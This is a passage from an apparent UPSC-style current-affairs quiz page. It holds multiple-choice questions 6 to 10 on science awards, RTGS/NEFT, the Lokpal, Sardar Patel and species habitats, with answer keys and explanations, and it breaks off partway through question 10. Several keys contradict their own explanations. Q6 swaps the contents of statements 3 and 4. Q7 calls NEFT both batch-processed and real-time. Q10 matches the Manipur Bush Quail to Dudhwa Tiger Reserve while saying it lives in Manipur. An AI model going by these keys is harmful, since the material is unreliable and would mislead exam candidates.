has-link-color wp-elements-105 wp-block-paragraph\"><a><\/a><strong>6. With reference to the Rashtriya Vigyan Puraskar (RVP) 2025, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-106 wp-block-paragraph\">1. Vigyan Ratna award can be conferred posthumously.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-107 wp-block-paragraph\">2. Vigyan Yuva\u2013Shanti Swarup Bhatnagar (VY-SSB) award recognizes scientists up to 45 years of age who have made exceptional contributions in any field of science and technology.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-108 wp-block-paragraph\">3. Vigyan Team award can be given to any number of scientists working together upto two researchers only.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-109 wp-block-paragraph\">4. Awards are conferred across 12 domains including Agriculture, Medicine, and Space Science.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-110 wp-block-paragraph\"><strong>Which of the statements given above are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-111 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-112 wp-block-paragraph\">(b) 1, 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-113 wp-block-paragraph\">(c) 1, 2 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-114 wp-block-paragraph\">(d) 3 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-115 wp-block-paragraph\"><strong>Answer: (a) 1 and 2 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-116 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-117 wp-block-paragraph\"><strong>In NEWS: <\/strong>Government of India Announces Rashtriya Vigyan Puraskar 2025 to Honour Excellence in Science, Technology, and Innovation<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-118\">\n<li>Vigyan Ratna can be conferred posthumously: For the 2025 awards, Professor Jayant Vishnu Narlikar was posthumously selected for the Vigyan Ratna Puraskar. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>Vigyan Yuva\u2013Shanti Swarup Bhatnagar award has an age limit of 45: This award recognizes and encourages young scientists up to the age of 45 who have made exceptional contributions in any field of science and technology. <strong>Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li>Awards are conferred across 12 domains: The awards are given across 13 domains, including Agriculture, Medicine, and Space Science. <strong>Hence statement 3 is incorrect.<\/strong><\/li>\n\n\n\n<li>Vigyan Team award is for teams of three or more: The Vigyan Team award is given to a team of three or more scientists, researchers, or innovators. <strong>Hence statement 4 is incorrect.<\/strong><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE:<\/strong> <br><br><strong>Q. Who amongst the following are members of the Jury to select the recipient of \u2018Gandhi Peace Prize\u2019? (2025)<\/strong> <strong>\u00a0<\/strong> <br><br>I. The President of India <br>II. The Prime Minister of India <br>III. The Chief Justice of India IV. The Leader of Opposition in the Lok Sabha \u00a0 <br><br><strong>Select the correct answer using the code given below.<\/strong> <strong>\u00a0<\/strong> <br><br>(a) II and IV only <br>(b) I, II and III <br>(c) II, III and IV <br>(d) I and III only<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-119 wp-block-paragraph\" style=\"color:#ff0000\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2182615\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2182615<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-120 wp-block-paragraph\"><a><\/a><strong>7. Consider the following statements regarding RTGS and NEFT in India:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-121 wp-block-paragraph\">1. RTGS and NEFT are India\u2019s main electronic interbank fund transfer systems, regulated by SEBI.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-122 wp-block-paragraph\">2. RTGS works on real-time and gross settlement, whereas NEFT transfers are batch-processed settlement at intervals.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-123 wp-block-paragraph\">3. RTGS has no upper limit for transfer, whereas NEFT transactions have a maximum limit of transaction.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-124 wp-block-paragraph\">4. Both RTGS and NEFT are available 24&#215;7 for all types of customers.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-125 wp-block-paragraph\"><strong>Which of the statements given above are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-126 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-127 wp-block-paragraph\">(b) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-128 wp-block-paragraph\">(c) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-129 wp-block-paragraph\">(d) 2 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-130 wp-block-paragraph\"><strong>Answer: (d) 2 and 4 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-131 wp-block-paragraph\"><strong>In NEWS: <\/strong>UPI leads in payments volume, RTGS in value; debit card transactions decline: RBI report<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-132 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-133\">\n<li>RTGS and NEFT are India\u2019s main <strong>electronic interbank fund transfer systems<\/strong>, regulated by <strong>RBI<\/strong>. <strong>Hence statement 1 is incorrect.<\/strong><\/li>\n\n\n\n<li>They are crucial for <strong>digital payments, financial inclusion<\/strong>, and an <strong>efficient payment ecosystem<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-134 wp-block-paragraph\"><strong>1. RTGS (Real Time Gross Settlement):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-135\">\n<li>Transfers are <strong>real-time and gross<\/strong> (each transaction individually settled).<\/li>\n\n\n\n<li><strong>High-value transfers:<\/strong> Minimum \u20b92 lakh, no upper limit.<\/li>\n\n\n\n<li><strong>Availability:<\/strong> 24&#215;7 (since Dec 2020).<\/li>\n\n\n\n<li><strong>Use:<\/strong> Large, urgent transactions (e.g., corporate payments, property deals).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-136 wp-block-paragraph\"><strong>2. NEFT (National Electronic Funds Transfer):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-137\">\n<li>Transfers are <strong>batch-processed<\/strong>, settled at intervals (real-time now since Dec 2019).<\/li>\n\n\n\n<li><strong>No minimum or maximum limit. Hence statement 3 is incorrect.<\/strong><\/li>\n\n\n\n<li><strong>Availability:<\/strong> 24&#215;7.<\/li>\n\n\n\n<li><strong>Use:<\/strong> Everyday retail payments (e.g., salaries, bills, online shopping).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-138 wp-block-paragraph\"><strong>3. RTGS vs NEFT Comparison:<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-link-color\"><tbody><tr><td><strong>Feature<\/strong><\/td><td><strong>RTGS<\/strong><\/td><td><strong>NEFT<\/strong><\/td><\/tr><tr><td>Settlement<\/td><td>Real-time, gross<\/td><td>Batch-wise<\/td><\/tr><tr><td>Minimum Transfer<\/td><td>\u20b92 lakh<\/td><td>No minimum<\/td><\/tr><tr><td>Maximum Transfer<\/td><td>No upper limit<\/td><td>No maximum<\/td><\/tr><tr><td>Speed<\/td><td>Immediate<\/td><td>Few minutes to hours<\/td><\/tr><tr><td>Usage<\/td><td>Large &amp; urgent<\/td><td>Retail &amp; small-value<\/td><\/tr><tr><td>Availability<\/td><td>24&#215;7<\/td><td>24&#215;7<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-139 wp-block-paragraph\"><strong>4. Importance in Indian Economy:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-140\">\n<li>Promotes <strong>digital payments<\/strong>, reduces cash dependency.<\/li>\n\n\n\n<li>Supports <strong>financial inclusion<\/strong> in remote areas.<\/li>\n\n\n\n<li>Enables fast, secure fund transfer for <strong>government schemes<\/strong> (PM-KISAN, DBT, GST refunds).<\/li>\n\n\n\n<li>Reduces <strong>settlement risk<\/strong> and improves <strong>monetary policy transmission<\/strong>.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2025)<\/strong> <br><br><strong>Q. Consider the following statements in respect of RTGS and NEFT: (2025)<\/strong> \u00a0 <br><br>I. In RTGS, the settlement time is instantaneous while in case of NEFT, it takes some time to settle payments.\u00a0 <br>II. In RTGS, the customer is charged for inward transactions while that is not the case for NEFT.\u00a0\u00a0 <br>III. Operating hours for RTGS are restricted on certain days while this is not true for NEFT.\u00a0\u00a0 \u00a0 <br><br><strong>Which of the statements given above is\/are correct?\u00a0\u00a0\u00a0<\/strong> <strong>\u00a0<\/strong> <br><br>(a) I only\u00a0\u00a0\u00a0 <br>(b) I and II\u00a0\u00a0\u00a0 <br>(c) I and III\u00a0\u00a0\u00a0\u00a0 <br>(d) III only\u00a0<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-141 wp-block-paragraph\" style=\"color:#ff0000\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/business\/upi-leads-in-payments-volume-rtgs-in-value-debit-card-transactions-decline-rbi-report\/article70193569.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/business\/upi-leads-in-payments-volume-rtgs-in-value-debit-card-transactions-decline-rbi-report\/article70193569.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-142 wp-block-paragraph\"><a><\/a><strong>8. Which of the following is\/are powers of the Lokpal under the Lokpal and Lokayuktas Act, 2013?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-143 wp-block-paragraph\">1. Lokpal can inquire into and investigate allegations of corruption against public servants, including directing and supervising the CBI in such cases.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-144 wp-block-paragraph\">2. It can grant sanction for prosecution and file cases before Special Courts under the Prevention of Corruption Act.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-145 wp-block-paragraph\">3. Lokpal submits annual reports to the President, which are laid before Parliament.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-146 wp-block-paragraph\"><strong>Select the correct answer:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-147 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-148 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-149 wp-block-paragraph\">(c) 1, 2, and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-150 wp-block-paragraph\">(d) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-151 wp-block-paragraph\"><strong>Answer: (c) 1, 2, and 3<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-152 wp-block-paragraph\"><strong>In NEWS<\/strong>: Sharp reduction in number of complaints received by Lokpal<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-153 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-154 wp-block-paragraph\">1. <strong>Introduction<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-155\">\n<li><strong>Lokpal<\/strong>: Anti-corruption authority at the <strong>Central Government<\/strong> level.<\/li>\n\n\n\n<li><strong>Lokayukta<\/strong>: Anti-corruption authority at the <strong>State Government<\/strong> level.<\/li>\n\n\n\n<li>Established under: <strong>The Lokpal and Lokayuktas Act, 2013<\/strong> (Central Act).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-156 wp-block-paragraph\"><strong>Objective:<\/strong> Investigate and prosecute public servants involved in corruption, reduce maladministration, and strengthen accountability in governance.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-157 wp-block-paragraph\"><strong>2. Composition<\/strong><\/p>\n\n\n\n<h3 class=\"wp-block-heading has-black-color has-text-color has-link-color has-medium-font-size wp-elements-158\"><a><\/a><strong>Lokpal (Central)<\/strong><\/h3>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-159\">\n<li>Chairperson + up to 8 members.<\/li>\n\n\n\n<li>At least <strong>50% judicial members<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-160 wp-block-paragraph\">Includes members for <strong>PM, Ministers, MPs, and Group A officers<\/strong>.<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-161\">\n<li><strong>Appointment Committee<\/strong>: PM, Speaker of Lok Sabha, Leader of Opposition, CJI, and an eminent jurist.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-162 wp-block-paragraph\"><strong>Lokayukta (State)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-163\">\n<li>Each state enacts its <strong>own Lokayukta Act<\/strong>.<\/li>\n\n\n\n<li>Chairperson usually a <strong>retired High Court or Supreme Court judge<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-164 wp-block-paragraph\">Members may include administrative and judicial officials.<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-165\">\n<li>Appointed by <strong>Governor in consultation with Chief Minister and opposition leaders<\/strong>.<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading has-black-color has-text-color has-link-color has-medium-font-size wp-elements-166\"><a><\/a><strong>3. Jurisdiction<\/strong><\/h2>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-link-color\"><tbody><tr><td><strong>Authority<\/strong><\/td><td><strong>Who it can investigate<\/strong><\/td><\/tr><tr><td><strong>Lokpal<\/strong><\/td><td>PM (with certain limitations), Union Ministers, MPs, Group A officers of Central Government<\/td><\/tr><tr><td><strong>Lokayukta<\/strong><\/td><td>Chief Minister, State Ministers, state government officials<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-167 wp-block-paragraph\"><strong>Exclusions:<\/strong> Judiciary (except in very specific cases, e.g., under separate procedures).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-168 wp-block-paragraph\"><strong>4. Powers and Functions<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-169 wp-block-paragraph\"><strong>Inquiry and Investigation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-170 wp-block-paragraph\">Lokpal can inquire into and investigate allegations of corruption against public servants, including directing and supervising the CBI in such cases.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-171 wp-block-paragraph\"><strong>Prosecution:<br><\/strong>It can grant sanction for prosecution and file cases before Special Courts under the Prevention of Corruption Act.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-172 wp-block-paragraph\"><strong>Civil Court Powers:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-173 wp-block-paragraph\">The Lokpal has powers of a civil court \u2014 to summon witnesses, examine evidence, and requisition public records.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-174 wp-block-paragraph\"><strong>Attachment and Confiscation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-175 wp-block-paragraph\">It can recommend attachment and confiscation of assets acquired through corrupt means.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-176 wp-block-paragraph\"><strong>Disciplinary Action:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-177 wp-block-paragraph\">Lokpal may recommend suspension, transfer, or other disciplinary measures against accused officials.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-178 wp-block-paragraph\"><strong>Oversight of CBI:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-179 wp-block-paragraph\">It exercises supervision and control over the CBI in matters referred to it and can monitor investigation progress.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-180 wp-block-paragraph\"><strong>Frivolous Complaints:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-181 wp-block-paragraph\">Lokpal can dismiss false or vexatious complaints and initiate action against malicious complainants.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-182 wp-block-paragraph\"><strong>Rule-Making Power:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-183 wp-block-paragraph\">It can frame rules and regulations for its functioning, subject to government approval.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-184 wp-block-paragraph\"><strong>Reporting:<br><\/strong>Lokpal submits annual reports to the President, which are laid before Parliament.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE:<\/strong> <br><br><strong>Q.\u00a0 Under which act were the Lokpal and Lokayuktas established? (2016)<\/strong> <strong>\u00a0<\/strong> <br><br>(a) Prevention of Corruption Act <br>(b) Lokpal and Lokayuktas Act, 2013 <br>(c) Right to Information Act <br>(d) Public Grievances Redressal Act<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-185 wp-block-paragraph\" style=\"color:#f70000\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/sharp-decline-in-complaints-received-by-lokpal\/article70201717.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/sharp-decline-in-complaints-received-by-lokpal\/article70201717.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-186 wp-block-paragraph\"><a><\/a><strong>9. Which of the following statements about Sardar Vallabhbhai Patel is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-187 wp-block-paragraph\">1. He led the Bardoli Satyagraha in 1928 and earned the title \u201cSardar.\u201d<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-188 wp-block-paragraph\">2. He was the first Deputy Prime Minister and Home Minister of independent India.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-189 wp-block-paragraph\">3. He played a key role in the integration of princely states into the Indian Union.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-190 wp-block-paragraph\">4. The Statue of Unity in Gujarat commemorates his contributions.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-191 wp-block-paragraph\"><strong>Select the correct answer:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-192 wp-block-paragraph\">(a) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-193 wp-block-paragraph\">(b) 2 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-194 wp-block-paragraph\">(c) 1, 2, and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-195 wp-block-paragraph\">(d) 1, 2, 3, and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-196 wp-block-paragraph\"><strong>Answer: (d) 1, 2, 3, and 4<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-197 wp-block-paragraph\"><strong>Explanation:<\/strong>&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-198 wp-block-paragraph\"><strong>In NEWS: <\/strong>Prime Minister will lead parade on 150th birth anniversary of Sardar Vallabhbhai Patel<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-199 wp-block-paragraph\"><strong>Statement 1:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-200 wp-block-paragraph\"><strong>He led the Bardoli Satyagraha in 1928 and earned the title \u201cSardar.\u201d<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-201\">\n<li>The <strong>Bardoli Satyagraha<\/strong> was a <strong>peasant movement<\/strong> in Gujarat against excessive taxation by the British government.<br>Sardar Vallabhbhai Patel was the <strong>leader of this movement<\/strong>.<\/li>\n\n\n\n<li>His <strong>success in organizing the peasants and forcing the British to roll back taxes<\/strong> earned him the title <strong>\u201cSardar\u201d (leader\/chief).<\/strong><\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-202\"><strong>Statement 2:<\/strong><\/h4>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-203 wp-block-paragraph\"><strong>He was the first Deputy Prime Minister and Home Minister of independent India<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-204\">\n<li>After independence in 1947, <strong>Jawaharlal Nehru became Prime Minister<\/strong>, and <strong>Sardar Patel became the first Deputy PM and Home Minister.<\/strong><\/li>\n\n\n\n<li>He was responsible for <strong>administrative consolidation<\/strong> and the <strong>integration of princely states.<\/strong><\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-205\"><strong>\u00a0Statement 3:<\/strong><\/h4>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-206 wp-block-paragraph\"><strong>He played a key role in the integration of princely states into the Indian Union.<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-207\">\n<li>At the time of independence, India had <strong>over 560 princely states<\/strong> that were technically independent.<\/li>\n\n\n\n<li><strong>Patel, with V.P. Menon, negotiated with the rulers<\/strong>, using a combination of diplomacy and firmness to <strong>ensure accession to India<\/strong>.<\/li>\n\n\n\n<li>Famous cases: <strong>Hyderabad, Junagadh, Kashmir<\/strong> (instruments of accession).<\/li>\n\n\n\n<li>His efforts prevented the <strong>fragmentation of India<\/strong> and earned him the title <strong>\u201cIron Man of India.\u201d<\/strong><\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-208\"><strong>\u00a0Statement 4:<\/strong><\/h4>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-209 wp-block-paragraph\"><strong>The Statue of Unity in Gujarat commemorates his contributions.<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-210\">\n<li>The <strong>Statue of Unity<\/strong> is a <strong>182-meter tall statue of Sardar Patel<\/strong>, located at <strong>Kevadia, Gujarat<\/strong>.<\/li>\n\n\n\n<li>Inaugurated in <strong>2018<\/strong>, it is the <strong>world\u2019s tallest statue<\/strong>.<\/li>\n\n\n\n<li>Symbolizes <strong>national unity<\/strong> and his contributions to <strong>integrating the princely states<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-211 wp-block-paragraph\">Bardoli Satyagraha \u2192 \u201cSardar\u201d \u2192 1928<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-212 wp-block-paragraph\">Deputy PM + Home Minister \u2192 first after independence<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-213 wp-block-paragraph\">Integration of princely states \u2192 Iron Man of India<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-214 wp-block-paragraph\">Statue of Unity \u2192 Gujarat, 2018, world\u2019s tallest statue<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE:<\/strong> <br><br><strong>Q. The Statue of Unity, recently seen in news , commemorates which personality? (2020)<\/strong> <strong>\u00a0<\/strong> <br><br>(a) Jawaharlal Nehru <br>(b) Sardar Vallabhbhai Patel <br>(c) Subhas Chandra Bose <br>(d) Bhagat Singh<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-215 wp-block-paragraph\" style=\"color:#ff0000\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/pm-modi-to-lead-parade-on-150th-birth-anniversary-of-sardar-vallabhbhai-patel\/article70197971.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/pm-modi-to-lead-parade-on-150th-birth-anniversary-of-sardar-vallabhbhai-patel\/article70197971.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-216 wp-block-paragraph\"><a><\/a><strong>10. Match the species with their natural habitat \/ region:<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-link-color\"><tbody><tr><td><strong>Species<\/strong><\/td><td><strong>Region<\/strong><\/td><\/tr><tr><td>1. Manipur Bush Quail<\/td><td>A. Western Ghats<\/td><\/tr><tr><td>2. Long-snouted Vine Snake<\/td><td>B. Dudhwa Tiger Reserve<\/td><\/tr><tr><td>3. Gooty Tarantula<\/td><td>C. Andhra Pradesh forest regions<\/td><\/tr><tr><td>4. Tapanuli Orangutan<\/td><td>D. Sumatra, Indonesia<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-217 wp-block-paragraph\"><strong>Codes:<br><\/strong>(a) 1-B, 2-A, 3-C, 4-D<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-218 wp-block-paragraph\">(b) 1-B, 2-B, 3-C, 4-D<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-219 wp-block-paragraph\">(c) 1-B, 2-B, 3-A, 4-D<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-220 wp-block-paragraph\">(d) 1-B, 2-B, 3-C, 4-A<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-221 wp-block-paragraph\"><strong>Answer: (b) 1-B, 2-B, 3-C, 4-D<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-222 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<h3 class=\"wp-block-heading has-black-color has-text-color has-link-color has-medium-font-size wp-elements-223\"><a><\/a><strong>1. Manipur Bush Quail<\/strong><\/h3>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-224\">\n<li>Scientific name: Perdicula manipurensis<\/li>\n\n\n\n<li>Rediscovered after many decades, it was thought extinct since 1932.<\/li>\n\n\n\n<li>Natural habitat: Grasslands and scrublands in Manipur, and some parts of Assam.<\/li>\n\n\n\n<li>Correct match: B. Dudhwa Tiger Reserve \/ NE India (Dudhwa is in Uttar Pradesh but often considered in context of rediscovery regions; the important point is it\u2019s Northeastern India, not Western Ghats).<strong>\u00a0<\/strong><\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading has-black-color has-text-color has-link-color has-medium-font-size wp-elements-225\"><strong>2. Long-snouted Vine Snake<\/strong><\/h3>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-226\">\n<li>Scientific name: Ahaetulla longirostris<\/li>\n\n\n\n<li>Arboreal snake, very rare and recently rediscovered in Dudhwa Tiger Reserve, Uttar Pradesh.<\/li>\n\n\n\n<li>Correct match: B. Dudhwa Tiger Reserve<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-227\"><strong>\u00a0<\/strong>3<strong>. Gooty Tarantula<\/strong><\/h3>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list 